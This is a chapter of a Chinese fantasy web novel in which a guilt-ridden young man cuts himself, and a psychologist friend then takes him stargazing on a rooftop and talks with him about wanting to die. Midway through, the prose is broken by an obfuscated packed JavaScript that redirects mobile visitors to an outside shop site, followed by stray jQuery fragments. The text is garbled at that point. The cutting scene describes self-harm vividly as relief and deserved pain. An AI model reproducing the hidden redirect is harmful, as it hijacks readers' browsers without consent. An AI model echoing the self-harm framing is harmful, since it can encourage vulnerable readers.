文趣网 > 其他小说 > 弗斯尼亚·神赐之地 > 22. 观星
    返程的路和来时一样漫长遥远,以至于回到咖啡馆时,指针指向十,店业已打烊了。许织略和琉安都回家了,赵一诚则又不见踪影。不过,他这种一到晚上就要开始另一份工作的情况,苏银已经习以为常,并不放在心上。

    他在烤好的面包上涂了些沙司,夹上几片烤肉,做了两份,又简单煮了碗肉汤。填过肚子之后,理靡甩了张中级法阵的图纸给他,然后大摇大摆地就下到古书室里了。

    苏银拿着图纸,却心里升起一股疲惫之感。尽管知道理靡是出于好意,但他茫然起她收他为徒的目的,也茫然自己学习阵法学习剑术的意义,因为他恐怕注定不可能实现她的期望。她或许期望他变得更加优秀,成为那种首屈一指的巫师,在世界都位列名家。可他哪有什么远大的志向?他只是不想再麻烦别人,不用需要别人来保护而已。成为能发号施令、改变世界的巫师或者剑士?他?怎么可能……或者说,他怎么配?这些成功者的词汇于他而言,与空中楼阁无异,不仅恍若幻梦,而且不切实际。

    想起方圆万里的残垣废墟,那漆黑云海下,灰暗的世界里,受难者尸横遍野,猩红的血在坍塌的建筑下流淌成溪,他就感觉自己是何其的令人作呕。就如中学时他们在他桌上所写的那样,他是一个不配拥有幸福的罪人,是这个社会最该被遗弃的垃圾。被允许有活着的权利就已经是众生最大的恩赐,怎么还能奢望更多?他所要做的只该是赎罪,只该是静静地在偏角一隅被抹去。

    他脑海里回忆起从悬崖坠落的光景,身体仿佛也回到那个时刻。灵魂在刹那似乎从世界剥离,此岸的一切,无论所谓的真相还是人间疾苦,尽数在脑海中消失。躯体在重力中下坠,却前所未有的轻盈,卸下负担,不再有任何责任。反而是张开翅膀的时候,什么都变得有了实感有了重量,那些哀伤的痛苦的罪恶的,也又全部回到了这具身体,追寻真相的责任依旧沉甸甸地压在心头。这十年前的,至今无法偿还的罪孽,就这样久久萦绕不去。求死是一种逃避,却也是唯一的解脱之路。

    “啪”

    瓷器碎裂的声音才唤醒他几乎游走向彼岸的思绪。走神之下,正要放好的碗手滑掉落在了地上,裂成了一片又一片。他慌乱地蹲下,用手去捡碎片。

    锋利的边沿划破皮肤,鲜血从手指上流出,他愣愣地看着袖子撩起后,自己手臂上那些深浅不一的疤痕。自从来到新世界,就很久没有那么做过了……以至于都有些忘了,那是一种怎样的感觉?肌肤被轻易地割开,血液渗出像珠帘一样,火焰灼烧般的感觉令神经都有些麻木。只有皮肉之苦才足够抵消内心的绝望,也只有皮肉之苦才是他所该承受的。

    几乎是源自本能的渴望,他用拾起的碎片划过手臂,在疤痕之上又留下一道新的印迹,鲜红的颜色宛若地狱的裂谷。

    咖啡馆门上的风铃突然响起,伴随高跟鞋的声音。

    苏银下意识地猛然站起,关掉了水龙头。但或许因为低血糖,下一秒他就眼前一片漆黑,只能勉强撑着桌角,等强烈的眩晕感过去。

    然而对方还是已经循声走进了厨房。

    “你在做什么?”椿景问,“伤害自己吗?”

    “不,没有,我没有……怎么会呢?只是不小心把碗打碎了,没事……”苏银嘴角扯出一个笑意,声音颤抖着回应。

    “要不我帮你包扎一下?”椿景走近了些,伸手就要抓他的手。

    “不要!”苏银惶恐地放下了衣袖,将手背到身后,有些大声地说,“不用麻烦!我会自己处理的……”

    椿景收回了手:“这样啊……你真是个奇怪的人,怪不得那家伙那么把你放心上。”

    “伤口处理好后就出来吧。出去走走,散散心怎么样?”她走到了厨房门口又回过头问道。

    “没事,不用了……”

    “对我这个心理学家多一点信任嘛。我在外面等你。”

    并没敢拒绝椿景的邀请,他和她静默地走在深夜的街畔,漫无目的地走着,也不知道要走去哪里。

    除了有几个醉醺醺的人吵闹地走过,此刻的街道是那么安详和宁静。晚风悄悄地拂过,掠起路边书籍的书页,像山谷的野花一样微微摇晃。

    椿景穿着深色的西装礼服,胸前的口袋别着假花,脚上是一双鲜红的高跟鞋。她的身上多种香水的味道交杂在一起,与她平日身上伴有的淡淡熏香气息完全不同。苏银猜她可能是在附近参与什么宴会,结束了才顺便到咖啡馆看看。或许她是来找赵一诚的?结果反被我拖累了,还得陪我出来散步……他感觉到一丝亏欠,胸口闷闷的。但椿景始终没有说什么,只有他们的脚步声在寂静的街道上回荡。

    不知道走了多久,椿景抬起了头,望向了夜空。

    她开口道:“今天的天气很好。”

    “嗯。”

    “这种晴朗无云的日子里,星星就特别清晰,所以很适合观星。”她自顾自说着,又用手指向了天空,“你看,看到西南方那颗红色的亮点了吗?那是火星……还有那颗比别的都要亮的是金星。”

    苏银顺着她指的方向,也抬头望去。无云的夜空里,星辰汇集成海,星系也隐隐可见,如海浪般层层叠叠,它们闪烁的样子像波光粼粼的水面,以深蓝为底,一片浮光跃金。

    “雷德伦斯城的建筑还是太高太密集了,没法看到全部,有些可惜了。以往我们观星都是在开阔的空地上进行的。”椿景叹了叹气。

    “在高一点的地方会不会好些?”苏银问。

    “是呀,没有建筑物遮挡的话就好呢,比如屋顶就不错。”

    “有神灵体的话是不是身体各方面机能都强化了,可以很轻松就上去?”

    “赵一诚跟你说的吗?那只是因为他们那群家伙本来就体能好得可怕。像我这种以前一点不动弹的,基础太差,神灵体也帮不了。”椿景停住了脚步,四处环视了一周。

    见实在没什么可以借助的工具,她微笑起来看向苏银:“我听说你有羽族血统?”

    苏银意识到她在打什么主意,张了张嘴,但不知该如何搪塞。

    “你可以带着我飞上去。”

    “其实我才刚学会怎么用翅膀……”

    “呀,所以你是想要拒绝我吗?”椿景用手绕着头发,装模做样地说,“有些难过啊。我真的很想在书乡的屋顶看星星呢,这样的愿望也没办法实现吗?”

    “但……我要怎么带着你?”

    “你能抱得动我吗?”椿景说着,突然凑近了将双臂搭在他肩上。

    苏银被她的动作吓得一惊。因为靠得太近,她那双和唇色一样鲜红的眼睛显得更加摄人心魄,身上那股混杂的香水味像网一样把他们都笼罩在其中,意识都有一瞬恍惚了。

    “一定要抱吗?不太好吧……”他紧张地后仰着想拉开距离。

    “不然怎么上去?”她把目光移向了别处,催促道,“你快点试试看。你难道不想体验坐在屋顶观星的感觉吗?还是说,单纯就是想拒绝我?”

    “可惜了,我还以为我们已经是朋友了,而你不会拒绝一个朋友的请求。”

    “不,不是……”苏银脑海里此时一团乱,因为慌乱无措而脸变得通红。飞行或许不算最大的问题,更多的是他自知体力很差,要他强行抱起一个与自己身高差不太多的人……

    “好吧。我试试。”面对椿景渐显失望的表情,他妥协了。总是这样,每次都是这样,以前学生时代替其他人完成课业和跑腿也是这样,他受不了看到他们对他露出这种表情。

    他无奈地叹了口气,定了定心。他微微屈膝和弯腰,一手托在她的腘窝,一手搂过她的后背,收拢起手臂。没有直接抱起,他展开了背后的翅膀。它们在深夜的月光下泛着淡淡的柔光。

    下一秒,腿部力量爆发的同时,他用力一扇翅膀,拼尽全力抱起椿景,飞离了地面。

    “哇!不赖!”椿景紧紧环抱着他,惊诧地道,“你竟然真的做到这样的份上!”

    苏银咬着牙没有回应,只是花了几秒的时间上升到了三层楼的高度,停在了赭石色的屋顶上。一站定他就立刻把椿景放了下来。放松下来后他几乎眼前一黑,整个上半身的肌肉都剧烈地酸痛,腰部也隐隐不适。

    算了,能让她开心也好。他半虚脱地坐倒在了屋脊上,冰蓝的翅膀无力地垂在两侧,过了几秒后化作光点隐匿了起来。

    “你简直是傻瓜。”椿景仍惊讶地睁大眼眶看着他,“你比我预想的要更不坚定。”

    她在他身旁坐下:“仅因为我的无理取闹,你就愿意冒着风险尝试自己原本做不到的事情,你太令人诧异了。”

    苏银勉强地撑开了眼皮,抬头望向夜空。尽管耗尽气力,但不得不说这一望无际的浩瀚星海的确值得,目之所及皆是深浅不一的闪烁星群,每一粒星子都仿佛伸手可掇,这其中的震撼足以令人忘却身体和精神的一切伤痛。

    “好些吗?肌肉有拉伤到吗?我可以试试能不能用巫术帮你复原一下肌肉组织。”椿景向他眨巴着眼,“如果真害你哪里受伤了,赵一诚那家伙不得弄死我?”

    苏银摇了摇头:“还好。不麻烦你了。过段时间就好了。”

    “麻烦?你为什么总那么害怕麻烦别人呢?”她眉头微微皱起,面带某种哀伤地说,“你是担心对方会因此而厌弃你吗?担心对方会因此而轻视你吗?或者只是担心给对方带去困扰?”

    苏银沉默了,看向屋檐下淌着月光的街道。

    她的神情柔和了一些:“我的朋友,你没必要因为麻烦别人而感到愧疚。你看,我麻烦你帮我上到这里,你难道因此就嫌恶我了吗?”

    “或许的确,你在一瞬间感到了困扰,但这种困扰并没有很深刻很持久地影响你,不是吗?它的存在是极其微弱的。”她继续说,“于其他人而言也是一样,我们大部分人都不会为了被请求帮助时那一点小小的困扰而耿耿于怀。甚至,如果最后的结果是美好的,我们只会因为帮到了别人而感到满足。”

    “正因为人与人各有所长,各有所短,所以我们注定要相互麻烦,相互帮助啊。你又何必担心麻烦到别人呢?”

    椿景牵动手指,空气中几粒光点在她指尖汇集。她把手放在了苏银的后腰上。像薄荷一样清凉的感觉在腰部扩散开来,冲淡了肌肉的酸痛感。苏银愣了下,转头看向她,眼里映着远方的星夜,仿佛湿润地泛着光。

    “谢谢……”

    “是吧?麻烦别人根本不是什么大不了的事情。反而,能收获一句谢谢我可是很高兴的。”椿景想起什么,掩了下嘴,“诶呀,我还欠你一句感谢呢。”

    苏银眯起眼睛淡淡笑了下:“没事。”

    “其实我只是好奇你是不是真像赵一诚说的那样逆来顺受,结果竟然确实一点不会拒绝。”

    “他是这么说我的吗……”

    “啊?哈,倒也没有,我理解的。”椿景拍了拍他的肩,“别把任何人的评价太放在心上。”

    “抱歉。”

    “没必要道歉。人总归需要慢慢成长。”椿景手撑在屋脊上向后仰了仰,双腿一上一下地晃着,“我们都还有很长的路要走呢。”

    她仰望着星空,说:“小时候,也有一次,我奶奶带着我爬到屋顶上看星星,不是在山野也不是在空地,就在宅子顶上。”

    “'小瑞娅',她这么叫我,然后跟我说:'你现在已经渐渐学会了如何看懂星盘,学会了如何透过星光和卡牌看见别人的命运。但是,要记住,占卜师在看清别人的命运

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688768|207851||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    之前,最重要的不是技能是否精进,而是你有没有看清自己的命运。'”

    “但是那时我还很小,我不明白。所以我说:'我已经知道自己的命运了呀?父亲为我占卜过人生轨迹了。'”

    “她却笑了笑,说:'看清自己的命运可不仅仅是知道,是你还要去深谙它由何而来,又要如何勇敢地面对这看似清楚却又未知的命运。不是命运选择了你,而是你选择了命运。'”

    “我说她讲得太绕了我听不懂。”椿景苦笑起来,“事实上,我现在也依旧还是一知半解。但她只是摸了摸我的头,告诉我:'我们都还有很长的路要走。'”

    “是的,我还有很长的路要走。可她呢?她在那一个月后就与世长辞了。我猜她早就预知到自己时日无多了,可她还是在走一条长路。那条长路是什么呢?”

    苏银开口道:“预知生命终点后却不得不勇敢面对的长路吗?”

    椿景一瞬间眼里亮了一下。她应道:“是吗?或许吧。其实我不知道。我只是猜想,命运之路的长短不由时间衡量,它因人而定。只要我们想,我们要走的路就都还很长。”

    “今天还真是神奇的日子……土星和金星四分相,月亮恰好走向与金星三分相的位置。”她抬头对着漫天星辰喃喃着说,“我们在维持原状与更进一步中产生冲突和迷茫,却又渐渐走向和解与安宁。大概这就是我们相遇后在此对话的意义吧。”

    “占星术实在是一个很厉害的技能。”

    “是啊。你想学学看吗?”

    “不了吧,我应该不……”

    “也是,你正在学的东西很多了,很忙吧。”椿景打断了他,没让他把自我否定的话说出来。她将目光移向苏银的手臂,说:“你似乎很讨厌自己,以至于甚至不太想活着。是吗?”

    苏银一怔,下意识握住了自己的手臂。他微微垂下眸去,小声说:“可能吧……因为一些特殊原因。”

    “那段过去吗?那段你隐藏起的,不敢想起,不敢告人的过去?那天虽然失败了,但我还是稍微看到一点。废墟,尸体,鲜血……你一定受到了很大的冲击和伤害吧?”她娓娓说着,“也难怪你会自责,甚至自厌。灾难的幸存者常常陷入到这样的情绪。”

    她看向苏银,红宝石般的眼瞳此刻收起了全部的锋芒。她抓起他的手,放在掌心,身体微微前倾了些,劝慰道:“但其实,无论你的过去是什么样,好好把握住当下才更为重要。活着根本不是什么高深的事情,活着只是为了享受即时的一分一秒,为了让未来还具有可能。”

    “我不会告诉你,你寻死是对不起别人或者对不起自己。没什么对得起对不起的,只因能活着当真是一件很珍贵的事情,是比神迹更加伟大而珍贵的存在。为什么不活着呢?”

    “苏银,为什么不呢?”她的眼神里有一种胸有成竹。

    苏银的手用力攥紧了衣服,他面露苦涩地看向她。犹豫了片刻,他才问道:“椿景,如果……我是说如果。如果有一个人,把你的亲人、爱人、朋友,身边的所有人都杀害了,你觉得这个人应该活着吗?”

    这回换椿景沉默了。

    她收起笑容,过了半晌才回答:“坦白说,道德上这个人的确应该去死,死一万遍都不足惜……但你不是那样的人,对吧?这样的举例没有意义。而且,希望这个人去死也只是受害者的角度,他自己做何选择,就另当别论吧。”

    “抱歉,这个话题果然还是太深重了。”她带着歉意说,“我自以为是了。”

    苏银苦笑着没答话。

    “你们二位可真有闲情雅致啊?大晚上不睡觉,跑屋顶上来?怎么的?看星星?”

    突然,屋脊另一侧传来声音,语气带着点不满。

    “恭喜你一下就猜对了!你要坐下来一起看星星吗?”椿景一扫方才的沉重,嬉皮笑脸地抬头看向赵一诚。

    “得了吧。你下次再敢把苏银往危险的地方带,我就真得考虑下把以前的合同全撕了。”

    “诶呀,竟然都说起气话了!”她一把拉过身旁的苏银,勾住了他的肩,“不过这回你猜错了,是苏银带我上来的哦。”

    “哈,为了推卸责任,胡言乱语起来了?”赵一诚虽然面上带笑,但说得咬牙切齿。

    “这我可不是胡言乱语。”椿景伸出一根手指左右晃了晃,“苏银会飞了你都不知道吗?”

    苏银尴尬地抬头对赵一诚解释道:“老太太她下午带我出去就是为了教我用翅膀,所以就……”

    赵一诚朝他摆了摆手,又问椿景:“怎么能带着你的?抱着你吗?”

    “这个嘛……不好说呀。”她心虚地撅了撅嘴。

    “只是接触了几秒……没有任何别的事情!”苏银一瞬间怀疑他是生气自己和他女友单独出来,便匆忙地解释起来。

    “银你说什么呢?”赵一诚闻言有些哭笑不得,“我没担心这种事情。”

    他无奈道:“你们两个真是的……好了好了,还看吗?虽然被你们搞得焦头烂额,但不得不承认今天确实是个观星的好日子。”

    “对吧?不过时间是不早了,该回了。”椿景站了起来,但因为穿着高跟鞋,以至于在屋脊上摇晃几下,被赵一诚扶住了才没摔下去。她看向他嘿嘿一笑:“要不现在轮到你抱我下去?”

    “你大小姐做派真是不小啊?”

    虽然这么说着,但最后还是赵一诚抱着她从屋顶跳了下去。

    苏银自己张开翅膀,缓缓降到了地面。他留恋地望了眼星空,再看向赵一诚和椿景站在街道中央,依旧相互拌嘴着,谁也不饶谁。静谧的长街披着月光,蜿蜒着延伸向远方,地平线的尽头处仿佛没入星空。

    嗯,我们的路都还很长。他想着。